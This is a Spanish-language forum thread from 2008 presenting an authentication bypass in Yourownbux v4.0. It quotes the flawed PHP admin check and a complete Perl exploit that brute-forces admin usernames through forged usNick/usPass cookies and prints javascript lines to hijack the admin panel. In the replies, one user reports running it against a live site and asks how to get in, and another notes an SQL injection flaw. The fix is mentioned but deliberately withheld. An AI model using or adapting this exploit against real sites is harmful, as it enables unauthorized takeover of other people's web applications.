Bueno, esto lo descubri hace un par de dias .. Ahora lo publico.
Vulnerable: /admin/header.php
<?php
$user = $_COOKIE["usNick"];
$myDb->connect();
$sql = "SELECT * FROM yob_users WHERE username='$user'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
$myDb->close();
$is_admin = $row['user_status'];
if($is_admin != "admin"){
$display_error = "* You must login as administrator to access this page.";
include ('error.php'); exit();
}
?>
Como pueden ver, Solo se valida la cookie usNick, por lo tanto si tienes el usuario admin correcto, añadiendo las cookies puedes tener acceso al admin panel.
Y un pequeño Exploit para la explotacion es el siguiente:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
#+-------------------------------------------------------------+-#
#+ Yourownbux v4.0 --------------------------+--+
#+ Cookie Modification Exploit --------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------++
#
# + Gr33tz: OzX, Celciuz, N.O.X && All Friends --++
#+-------------------------------------------------------------+----#
system("clear");
print "
# Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com
\n# Thanks OzX\n\n";
print "Target [ Example: www.sitedemo.com ] :\n> ";
$target = <STDIN>;
chop($target);
if($target =~ m/www\.(.*)\.(.*)/) {
$other = $1;
check1($target);
} else {
print "\nInvalid Target.";
exit();
}
sub explote {
@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other");
# Add Posible Users.
$check = shift;
foreach $user (@tryusers) {
$pass = "Tec-n0x";
print "\n\tTrying > $user\n";
$browser = LWP::UserAgent->new();
$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
$get = HTTP::Request->new(GET => $check);
$resp = $browser->request($get);
$content = $resp->content();
@code = split("\n",$content);
foreach $checka (@code) {
if($checka =~ m/Emails|Served|Workload|Overview/) {
system("clear");
print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";
$vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
$vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";
print "
+------------------------------------+
+ $vd\n+ $vda
+------------------------------------+
";
$yes = 1;
exit();
}
}
}
if($yes != 1) {
print "\n\n\nExploit Failed";
exit();
}
}
sub check1 {
$target = shift;
$check = "http\:\/\/$target\/admin\/index\.php";
$browser = LWP::UserAgent->new();
$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
$get = HTTP::Request->new(GET => $check);
$resp = $browser->request($get);
$content = $resp->content();
@code = split("\n",$content);
foreach $checka (@code) {
if($checka =~ m/You must login as administrator to access this page/) {
print "Check 1 [ OK ]\n";
$success = 1;
explote($check);
}
}
if($sucess != 1) {
print "Failed";
exit();
}
}
El Post original, Clickeando Aqui. (http://dropsec.com/?p=31)
Saludos
ademas e vulnerable a SQL Injection..
Can someone please write how can this problem be solved? thanks! :p
@sirdarckcat: can you write the code? and if you can also the solution :p
THANKS TO ALL!!
-----------
¿Puede alguien por favor escribir cómo este problema puede ser resuelto? gracias! :p
@ sirdarckcat: ¿puede usted escribir el código? y si puedes también la solución :p
Gracias a todos!
Edito el mensaje:
Puse el fix pero bueno mejor no :P
La solucion es Simple: Validar la cookie UsPass
~Shinji~ : If you still want the fix contact me via MSN.
added :)
ps: are you the same as $pass = "Tec-n0x"; ? ;D
Cita de: ~Shinji~ en 13 Septiembre 2008, 17:51 PM
added :)
ps: are you the same as $pass = "Tec-n0x"; ? ;D
Yes, i Found the bug.
Link Milw0rm (http://milw0rm.org/exploits/6438)
XDD, esta a simple vista la injection nice! good bug
PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD
-berz3k.
Cita de: berz3k en 13 Septiembre 2008, 21:16 PM
XDD, esta a simple vista la injection nice! good bug
PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD
-berz3k.
Sep, tienes razon con lo de la inyeccion ..
El que no sabe donde esta es porque no quiere saber :P ..
PD: Te envie un MP para que me dijeras quienes son los no queridos XD !
De todas formas los que estan ahi son porque me caen bien y aparte que las 3 webs que puse por ahora .. tienen buen contenido :) Saludos
Ya decia yo que te me hacias conocido Tec-nox, eres de GPT latino jeje, amigo aprovechando tu post, tendras algun script de pago instantaneo y con los posibles bugs que tenga, yo tratare de repararlos.
Saludos y buen bug :)
:D
Hola a todos, estoy empezando con esto de compilar exploits y hacerlos funcionar.
He encontrado una pagina vurnerable a este bug, el resultado es el siguiente:
Valid Username: admin
Go to: http://www.xxxxx.com/admin/index.php
And Put this on your browser:
+------------------------------------+
+ javascript:document.cookie = "usNick=admin; path=/";
+ javascript:document.cookie = "usPass=Dropsec.com; path=/";
Mi pregunta es, abro el admin/index.php,
Y que tengo que poner?
No me aclaro, puede ser una tonteria pero pensad que soy nuevo en esto :$
Muchas gracias un saludo ;)
el exploit de bsql, no es mejorable enviando cabeceras http con la cookie ya "modificada"?
en perl no sabria como hacerlo, creo que tengo que aprender este lenguaje >.<
Bonito el bug n_n